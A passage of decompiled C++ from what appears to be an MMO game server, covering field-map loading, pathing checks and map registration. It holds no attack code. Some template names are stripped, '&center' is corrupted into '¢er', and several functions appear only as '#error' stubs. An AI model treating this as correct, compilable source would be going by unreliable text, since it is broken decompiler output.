} while ( v5 < v2->mro_Number ); } if ( v5 >= (signed int)v3 ) { if ( v3 < 0x80 ) { v8 = *(_DWORD *)index; v2->mro_Number = v3 + 1; v9 = (int)((char *)v2 + 36 * v5); v10 = v18; *(_DWORD *)(v9 + 32) = 1; *(_DWORD *)v9 = v8; v11 = v19; *(_DWORD *)(v9 + 12) = v10; v12 = v20; *(_DWORD *)(v9 + 16) = v11; v13 = v21; *(_DWORD *)(v9 + 20) = v12; v14 = v22; *(_DWORD *)(v9 + 4) = v6; *(_DWORD *)(v9 + 8) = v4; *(_DWORD *)(v9 + 24) = v13; *(_DWORD *)(v9 + 28) = v14; } } else { ++v2->mro_Array[v5].number; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapRearrangeObserver::mro_Set"); } //----- (004431A0) -------------------------------------------------------- void __thiscall FieldMap::fm_DistrubuteCalculate(void *this, int map, int ply, int mob) { void *v4; // esi@1 void *v5; // ecx@1 int (__stdcall **alnc)(int, int, int); // [sp+8h] [bp-18h]@1 int v7; // [sp+Ch] [bp-14h]@1 int v8; // [sp+10h] [bp-10h]@1 int v9; // [sp+1Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_DistrubuteCalculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_DistrubuteCalculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&alnc); v7 = ply; v8 = mob; alnc = &AxialListNumberCount::_vftable_; *(_DWORD *)mob = 0; *(_DWORD *)v7 = 0; v5 = (void *)*((_DWORD *)v4 + 12); LOBYTE(v9) = 1; ShineObjectClass::ShineObject::so_AllInMap(v5, (int)&alnc, 0); *(_DWORD *)map = *(_DWORD *)v4; *(_DWORD *)(map + 4) = *((_DWORD *)v4 + 1); *(_DWORD *)(map + 8) = *((_DWORD *)v4 + 2); LOBYTE(v9) = 0; alnc = &AxialListNumberCount::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alnc); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_DistrubuteCalculate"); } // 5A2204: using guessed type int (__stdcall *AxialListNumberCount___vftable_)(int, int, int distancesquar); //----- (004432A0) -------------------------------------------------------- signed int __thiscall FieldMap::fm_FindBlockLocation(void *this, int start, signed int distance, int div, int block, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)) { signed int v6; // eax@1 signed int result; // eax@2 int v8; // ebp@3 int v9; // ecx@3 int v10; // edi@3 signed int v11; // esi@3 int v12; // eax@3 int v13; // edi@6 int ycoord; // [sp+10h] [bp-30h]@3 void *v15; // [sp+14h] [bp-2Ch]@1 int v16; // [sp+18h] [bp-28h]@3 int dy; // [sp+1Ch] [bp-24h]@3 signed int starta; // [sp+44h] [bp+4h]@4 signed int distancea; // [sp+48h] [bp+8h]@3 signed int diva; // [sp+4Ch] [bp+Ch]@4 int blocka; // [sp+50h] [bp+10h]@3 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_FindBlockLocation"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_FindBlockLocation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = DirectDistanceTable::ddt_Distance( &ddt, *(_DWORD *)start - *(_DWORD *)div, *(_DWORD *)(start + 4) - *(_DWORD *)(div + 4)); if ( v6 <= distance ) { v8 = block; *(_DWORD *)block = *(_DWORD *)start; *(_DWORD *)(block + 4) = *(_DWORD *)(start + 4); v9 = *(_DWORD *)start; v10 = *(_DWORD *)(start + 4); v11 = v6 / 16 + 1; v12 = *(_DWORD *)div - *(_DWORD *)start; blocka = *(_DWORD *)start; ycoord = *(_DWORD *)(start + 4); v16 = *(_DWORD *)div - *(_DWORD *)start; dy = *(_DWORD *)(div + 4) - v10; distancea = 1; if ( v11 >= 1 ) { diva = *(_DWORD *)(div + 4) - v10; starta = v12; while ( 1 ) { v13 = v9 + starta / v11; if ( (unsigned __int8)xcoord(*((_DWORD *)v15 + 5), v13, ycoord + diva / v11) ) break; *(_DWORD *)v8 = v13; *(_DWORD *)(v8 + 4) = ycoord + diva / v11; ++distancea; starta += v16; diva += dy; if ( distancea > v11 ) break; v9 = blocka; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_FindBlockLocation"); result = distancea < v11; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_FindBlockLocation"); result = 2; } return result; } //----- (00443470) -------------------------------------------------------- int __thiscall FieldMap::fm_GetGuildTournamentSystem(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetGuildTournamentSystem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetGuildTournamentSystem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 42); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetGuildTournamentSystem"); return v2; } //----- (004434E0) -------------------------------------------------------- char __thiscall FieldMap::fm_GuildTournamentEnemy(void *this, unsigned int a, unsigned int b) { void *v3; // esi@1 int v4; // eax@1 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnemy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GuildTournamentEnemy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = FieldMap::fm_GetGuildTournamentSystem(v3); if ( v4 && GuildTournamentSystem::IsBattleGuild((GuildTournamentSystem *)v4, a, b) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnemy"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnemy"); result = 0; } return result; } //----- (004435C0) -------------------------------------------------------- int __thiscall FieldMap::fm_GetSaveLinktoData(void *this) { void *v1; // esi@1 int v2; // edx@1 int result; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetSaveLinktoData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetSaveLinktoData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *(_DWORD *)((char *)v1 + 262) ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetSaveLinktoData"); result = (int)((char *)v1 + 176); } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetSaveLinktoData"); result = 0; } return result; } //----- (00443680) -------------------------------------------------------- void __thiscall FieldMap::fm_SetSaveLinktoData(void *this, const void *rInfo) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_SetSaveLinktoData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_SetSaveLinktoData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v2 + 176, rInfo, 0x65u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_SetSaveLinktoData"); } //----- (00443700) -------------------------------------------------------- int __thiscall FieldMap::fm_GetCenterObject(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetCenterObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetCenterObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 12); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetCenterObject"); return v2; } //----- (00443760) -------------------------------------------------------- char __thiscall FieldMap::fm_GetRegenCityLinkData(void *this, int pRegenCity) { void *v2; // esi@1 int v3; // ecx@1 int v5; // edx@3 int v6; // esi@3 unsigned int v7; // edx@3 char *v8; // edi@5 int v9; // esi@5 char v10; // dl@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetRegenCityLinkData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetRegenCityLinkData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 3); if ( !v3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetRegenCityLinkData"); return 0; } *(_DWORD *)(pRegenCity + 20) = *(_DWORD *)(v3 + 110); *(_DWORD *)(pRegenCity + 24) = *(_DWORD *)(v3 + 114); *(_DWORD *)(pRegenCity + 28) = *(_DWORD *)(v3 + 118); *(_BYTE *)(pRegenCity + 32) = 0; v5 = *((_DWORD *)v2 + 3); v6 = *(_DWORD *)(v5 + 110); v5 += 110; *(_DWORD *)(pRegenCity + 53) = v6; *(_DWORD *)(pRegenCity + 57) = *(_DWORD *)(v5 + 4); *(_DWORD *)(pRegenCity + 61) = *(_DWORD *)(v5 + 8); *(_BYTE *)(pRegenCity + 65) = 0; v7 = *(_BYTE *)(v3 + 154); if ( !*(_BYTE *)(v3 + 154) || v7 > 0x64 ) { v10 = 0; goto LABEL_6; } v8 = (char *)&rndbox + 32776 * v7; v9 = *((_DWORD *)v8 + 8193) & (*((_DWORD *)v8 + 8192) + 1); *((_DWORD *)v8 + 8192) = v9; v10 = v8[2 * v9]; if ( (unsigned __int8)v10 < 4u ) LABEL_6: v3 += 8 * (unsigned __int8)v10; *(_DWORD *)(pRegenCity + 86) = *(_DWORD *)(v3 + 122); *(_DWORD *)(pRegenCity + 90) = *(_DWORD *)(v3 + 126); *(_WORD *)(pRegenCity + 94) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetRegenCityLinkData"); return 1; } //----- (004438B0) -------------------------------------------------------- char __thiscall FieldMap::fm_IsStraightPath(void *this, int from, int to, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)) { int v4; // edi@4 int v5; // ebx@4 unsigned int v7; // eax@6 int v8; // ecx@6 bool v9; // bl@10 int v10; // [sp-4h] [bp-2Ch]@1 FunctionEntarance _; // [sp+Ch] [bp-1Ch]@1 void *v12; // [sp+10h] [bp-18h]@1 unsigned int center; // [sp+14h] [bp-14h]@6 unsigned int v14; // [sp+18h] [bp-10h]@6 int v15; // [sp+24h] [bp-4h]@1 v12 = this; _.fe_FunctionCode = "FieldMap::fm_IsStraightPath"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_IsStraightPath"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_IsStraightPath"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !from || !to || !mbi_blockfunction ) { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStraightPath"); return 0; } v4 = *(_DWORD *)(from + 4); v5 = *(_DWORD *)(to + 4); if ( (*(_DWORD *)from - *(_DWORD *)to) * (*(_DWORD *)from - *(_DWORD *)to) + (v4 - v5) * (v4 - v5) < 25 ) { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStraightPath"); return 1; } v7 = *(_DWORD *)to + *(_DWORD *)from; v14 = (unsigned int)(v5 + v4) >> 1; v8 = *((_DWORD *)v12 + 5); center = v7 >> 1; if ( (unsigned __int8)mbi_blockfunction(v8, v7 >> 1, v10) ) { v15 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v9 = (unsigned __int8)FieldMap::fm_IsStraightPath(v12, from, ¢er, mbi_blockfunction) && (unsigned __int8)FieldMap::fm_IsStraightPath(v12, ¢er, to, mbi_blockfunction); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); return v9; } //----- (00443A50) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00443AB0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 17) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 17) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 17) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 17) ); if ( !*(_BYTE *)(v4 + 17) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 17); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00443B10) -------------------------------------------------------- int __cdecl ListFunctionCall(List *lst, PROTO_NC_MAP_REGIST_CMD *arg, int (__thiscall *func)(List *, unsigned __int16, PROTO_NC_MAP_REGIST_CMD *)) { unsigned __int16 v3; // si@1 unsigned __int16 v4; // di@2 ListStruct *v5; // ecx@3 int v6; // eax@3 unsigned __int16 v7; // dx@3 bool v8; // cf@3 int v9; // eax@4 int v10; // eax@5 int result; // eax@7 int lt; // [sp+10h] [bp-Ch]@3 v3 = lst->l_Array[lst->l_Finger.store].ls_Next; while ( 1 ) { v4 = lst->l_MaxSize; if ( v3 >= v4 ) break; v5 = lst->l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; LOWORD(lt) = v7; HIWORD(lt) = v3; if ( v8 && (v9 = (int)&v5[v6], *(_BYTE *)(v9 + 8)) ) v10 = *(_DWORD *)v9; else v10 = 0; result = ((int (__thiscall *)(int, List *, int, PROTO_NC_MAP_REGIST_CMD *))func)(v10, lst, lt, arg); if ( !result ) return result; } return 1; } //----- (00443BA0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00443BF0) -------------------------------------------------------- #error "443BF0: undefined or illegal type '#592' (funcsize=312)" //----- (00443FE0) -------------------------------------------------------- void __thiscall FieldContainer::fc_MapRegist(FieldContainer *this, WorldManagerSession *wms) { char *v2; // edi@1 char *v3; // esi@1 PROTO_NC_MAP_REGIST_CMD *v4; // ST04_4@1 int v5; // esi@1 v2 = gpp.pp_Buffer; v3 = gpp.pp_Buffer + 2; v4 = (PROTO_NC_MAP_REGIST_CMD *)(gpp.pp_Buffer + 2); *((_WORD *)gpp.pp_Buffer + 1) = 0; ListFunctionCall( &this->baseclass_0, v4, (int (__thiscall *)(List *, unsigned __int16, PROTO_NC_MAP_REGIST_CMD *))FieldMap::fm_Regist2WMS); *(_WORD *)v2 = 6159; v5 = 14 * *(_WORD *)v3 + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v5) ) ProtocolPacket::pp_SendPacket(&gpp, &wms->baseclass_0); else AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_MapRegist : Packet Too Long", v5); } //----- (00444040) -------------------------------------------------------- void __thiscall FieldContainer::fc_MakeField(FieldContainer *this, Name4 *world, FieldOption::FieldAttr *fldtemplet, Name3 *mapid, int serial, char machine) { FieldContainer *v6; // ebx@1 int v7; // ST08_4@1 CServerInfo *v8; // eax@1 unsigned int v9; // eax@2 char *v10; // eax@2 CServerInfo::MY_SERVER *v11; // eax@2 int v12; // esi@4 char serverinfo; // [sp+8h] [bp-24h]@1 char *ipaddr; // [sp+1Ch] [bp-10h]@2 __int16 port[2]; // [sp+20h] [bp-Ch]@2 v6 = this; v7 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v8 = ZoneServer::zs_mechineinfo(&zoneserver); if ( CServerInfo::GetServerInfo(v8, (CServerInfo::SERVER_INFO *)&serverinfo, 6, v7, (unsigned __int8)machine) ) { ZoneIPContainer::zipc_Store(&zipc, (unsigned __int8)machine, ipaddr, port[0]); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_QWORD *)v10 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v10 + 2) = *(_DWORD *)&mapid->n3_name[8]; v10[12] = 0; BTree::bt_Insert(&fieldserial, v10, serial); v11 = ZoneServer::zs_worlddata(&zoneserver); if ( machine == v11->nZoneNo ) { LOWORD(v11) = v6->baseclass_0.l_Finger.empty; if ( (_WORD)v11 == -1 ) v12 = 0; else v12 = (int)v6->baseclass_0.vfptr->l_AllocZ((List *)v6, (unsigned __int16)v11); if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "Too many map", 0); ShineExit("FieldContainer::fc_MakeField"); } FieldMap::fm_Init(v12, fldtemplet, world, mapid); FieldOption::fo_Store(&v6->fc_FieldOption, fldtemplet); } } } // 443BF0: using guessed type int __thiscall FieldMap__fm_Init(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00444150) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x14u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; result->_Myval = *_Val; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (00444190) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (004441D0) -------------------------------------------------------- #error "4441D0: undefined or illegal type '#592' (funcsize=88)" //----- (004442F0) -------------------------------------------------------- void __thiscall FieldContainer::fc_Load(FieldContainer *this, Name4 *world) { FieldContainer *v2; // edi@1 unsigned int v3; // eax@1 char *v4; // eax@1 int v5; // edx@1 int v6; // ecx@1 int v7; // eax@2 int v8; // eax@5 void *v9; // eax@7 int v10; // ecx@7 int v11; // eax@7 bool v12; // zf@9 bool v13; // sf@9 void *v14; // eax@10 void *v15; // esi@10 int v16; // eax@10 int v17; // eax@13 FieldOption::GuildTournamentMapStr **v18; // eax@16 unsigned __int16 v19; // ax@17 char v20; // cl@22 int v21; // ebp@22 INSTANCE_DUNGEON::CATEGORY v22; // eax@26 int v23; // eax@35 void *v24; // eax@37 void *v25; // ebp@37 char v26; // al@41 char v27; // al@43 char v28; // al@45 int v29; // ecx@50 unsigned __int8 v30; // al@52 int v31; // eax@53 int v32; // ecx@55 CServerInfo::MY_SERVER *v33; // eax@60 signed int v34; // ecx@60 char *v35; // eax@60 int v36; // esi@60 int v37; // eax@63 char *v38; // eax@63 unsigned int v39; // eax@70 char *v40; // eax@70 char *v41; // edx@70 char v42; // cl@71 unsigned int v43; // eax@72 char *v44; // eax@72 char *v45; // edx@72 char v46; // cl@73 int v47; // eax@74 const void *v48; // edx@74 char v49; // cl@75 unsigned int v50; // eax@76 void *v51; // edi@76 char v52; // cl@77 void *v53; // edi@78 const void *v54; // esi@78 int v55; // ecx@78 int v56; // eax@78 const void *v57; // esi@78 char v58; // cl@79 unsigned int v59; // eax@80 void *v60; // edi@80 char v61; // cl@81 void *v62; // edi@82 const void *v63; // esi@82 int v64; // ecx@82 int v65; // eax@82 char v66; // cl@83 int v67; // eax@84 char v68; // cl@85 char *v69; // eax@86 char v70; // cl@87 FieldContainer *v71; // edi@89 char *v72; // eax@91 char v73; // cl@92 char *v74; // eax@94 char v75; // cl@95 int v76; // eax@101 void *v77; // eax@101 int v78; // ecx@101 int v79; // eax@101 void *v80; // ebp@104 int v81; // esi@104 int v82; // ecx@113 ORToken v83; // [sp-24h] [bp-1ECh]@63 int v84; // [sp-20h] [bp-1E8h]@63 int v85; // [sp-1Ch] [bp-1E4h]@63 ORToken v86; // [sp-18h] [bp-1E0h]@10 ORToken v87; // [sp-14h] [bp-1DCh]@5 char *v88; // [sp-10h] [bp-1D8h]@5 int v89; // [sp-Ch] [bp-1D4h]@1 signed int v90; // [sp-8h] [bp-1D0h]@1 int v91; // [sp-4h] [bp-1CCh]@1 int i; // [sp+10h] [bp-1B8h]@9 char rst; // [sp+17h] [bp-1B1h]@2 ORToken *machine; // [sp+18h] [bp-1B0h]@5 ORToken *v95; // [sp+1Ch] [bp-1ACh]@63 FieldContainer *thisa; // [sp+20h] [bp-1A8h]@1 int type; // [sp+24h] [bp-1A4h]@63 char map[4]; // [sp+28h] [bp-1A0h]@90 int v99; // [sp+2Ch] [bp-19Ch]@90 int v100; // [sp+30h] [bp-198h]@76 char mapfrom[64]; // [sp+34h] [bp-194h]@70 char mss; // [sp+74h] [bp-154h]@83 _BYTE v103[3]; // [sp+75h] [bp-153h]@88 char v104[63]; // [sp+B4h] [bp-114h]@85 char v105; // [sp+F3h] [bp-D5h]@93 char v106; // [sp+F4h] [bp-D4h]@86 _BYTE v107[3]; // [sp+F5h] [bp-D3h]@93 unsigned int v108; // [sp+134h] [bp-94h]@80 char mapto[64]; // [sp+138h] [bp-90h]@1 unsigned int cookie; // [sp+1B8h] [bp-10h]@114 int v111; // [sp+1C4h] [bp-4h]@63 v2 = this; thisa = this; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v91 = (int)v4; *((_DWORD *)v4 + 2) = v5; v6 = *(_DWORD *)&world->n4_name[12]; v90 = (signed int)"../9Data/Shine/World/%s/Field.txt"; v89 = (int)mapto; *((_DWORD *)v4 + 3) = v6; v4[16] = 0; sprintf((char *)v89, (const char *)v90); if ( !OptionReader::or_Read(&v2->fc_FieldOption.baseclass_0, mapto) ) { rst = OptionReader::or_Read(&v2->fc_FieldOption.baseclass_0, "../9Data/Shine/World/Field.txt"); v7 = OptionReader::or_ErrorLine(&v2->fc_FieldOption.baseclass_0); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "Error in read field option Field.xls", v7); ShineExit("FieldContainer::fc_Load"); } } machine = &v87; v91 = 0; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; strncpy(v87.ort_Name, "InstanceDungeon", 0x14u); v8 = OptionReader::or_SelectCountFrom(&v2->fc_FieldOption.baseclass_0, v87); v2->fc_InstanceDungeon.number = v8; if ( v8 != -1 ) { v9 = operator new__(4 * v8); v10 = v2->fc_InstanceDungeon.number; v2->fc_InstanceDungeon.attr = (FieldOption::GuildTournamentMapStr **)v9; v11 = 0; if ( v10 > 0 ) { do v2->fc_InstanceDungeon.attr[v11++] = 0; while ( v11 < v2->fc_InstanceDungeon.number ); } v12 = v2->fc_InstanceDungeon.number == 0; v13 = v2->fc_InstanceDungeon.number < 0; i = 0; if ( !(v13 | v12) ) { do { v91 = i; machine = &v86; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; *(_DWORD *)&v86.ort_Name[0] = 0; strncpy(v86.ort_Name, "InstanceDungeon", 0x14u); v14 = OptionReader::or_SelectFromOrder(&v2->fc_FieldOption.baseclass_0, v86, v91); v15 = v14; v16 = *((_BYTE *)v14 + 20); if ( v16 >= v2->fc_InstanceDungeon.number ) { AssertClass::ac_AssertFail(&shineassert, "Error in InstanceDungeonInfo : Too large IDNo", v16); ShineExit("FieldContainer::fc_Load"); } v17 = *((_BYTE *)v15 + 20); if ( v2->fc_InstanceDungeon.attr[v17] != 0 ) { AssertClass::ac_AssertFail(&shineassert, "Error in InstanceDungeonInfo : duplicate IDNo", v17); ShineExit("FieldContainer::fc_Load"); } v2->fc_InstanceDungeon.attr[*((_BYTE *)v15 + 20)] = (FieldOption::GuildTournamentMapStr *)v15; v18 = v2->fc_InstanceDungeon.attr; if ( v18[*((_BYTE *)v15 + 20)]->DoorA0.DoorBlock[20] == 45 ) { *(_WORD *)&v18[*((_BYTE *)v15 + 20)]->DoorB0.DoorBlock[11] = -1; } else { v91 = (int)&v18[*((_BYTE *)v15 + 20)]->DoorA0.DoorBlock[20]; v19 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v91); if ( v19 == -1 ) { v91 = (int)&v2->fc_InstanceDungeon.attr[*((_BYTE *)v15 + 20)]->DoorA0.DoorBlock[20]; AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : Wrong Item ID", (const char *)v91); ShineExit("FieldContainer::fc_Load"); } *(_WORD *)&v2->fc_InstanceDungeon.attr[*((_BYTE *)v15 + 20)]->DoorB0.DoorBlock[11] = v19; } v20 = *((_BYTE *)v15 + 106); v21 = i; v12 = *((_BYTE *)v15 + 20) != v20; machine = (ORToken *)(*((_BYTE *)v15 + 20) == v20); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in table InstanceDungeonInfo(Field.txt)", i); ShineExit("FieldContainer::fc_Load"); } if ( *((_BYTE *)v15 + 21) == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v22 = -1; if ( *((_BYTE *)v15 + 68) ) { v22 = 1; } else { if ( *((_BYTE *)v15 + 67) ) { v22 = 0; } else { if ( *((_BYTE *)v15 + 69) ) v22 = 2; } } if ( !MapClusterManager::ClusterManager::AddInstanceDungeonCluster( &mapclustermanager, (const char *)v15 + 22, *((_BYTE *)v15 + 20), v22) ) { AssertClass::ac_AssertFail( &shineassert, "FieldContainer::fc_Load : Cannot add Instance dungeon cluster", v21); ShineExit("FieldContainer::fc_Load"); } } v23 = v2->fc_InstanceDungeon.number; i = v21 + 1; } while ( v21 + 1 < v23 ); } } else { AssertClass::ac_AssertFail(&shineassert, "Error in InstanceDungeonInfo : Cannot find Instance dungeon info", 0); } i = 0; while ( 1 ) { v91 = i; machine = &v86; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; *(_DWORD *)&v86.ort_Name[0] = 0; strncpy(v86.ort_Name, "FieldList", 0x14u); v24 = OptionReader::or_SelectFromOrder(&v2->fc_FieldOption.baseclass_0, v86, v91); v25 = v24; if ( !v24 ) break; v12 = *((_BYTE *)v24 + 21) != *((_BYTE *)v24 + 172); machine = (ORToken *)(*((_BYTE *)v24 + 21) == *((_BYTE *)v24 + 172)); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : checksum 